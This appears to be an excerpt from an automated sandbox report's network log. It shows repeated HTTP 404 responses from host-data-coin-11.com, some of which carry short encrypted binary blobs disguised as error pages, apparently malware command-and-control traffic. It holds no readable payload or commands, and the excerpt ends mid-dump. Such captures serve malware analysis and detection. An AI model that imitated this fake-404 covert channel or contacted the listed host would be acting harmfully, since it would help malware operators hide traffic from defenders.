Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 01:03:01 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 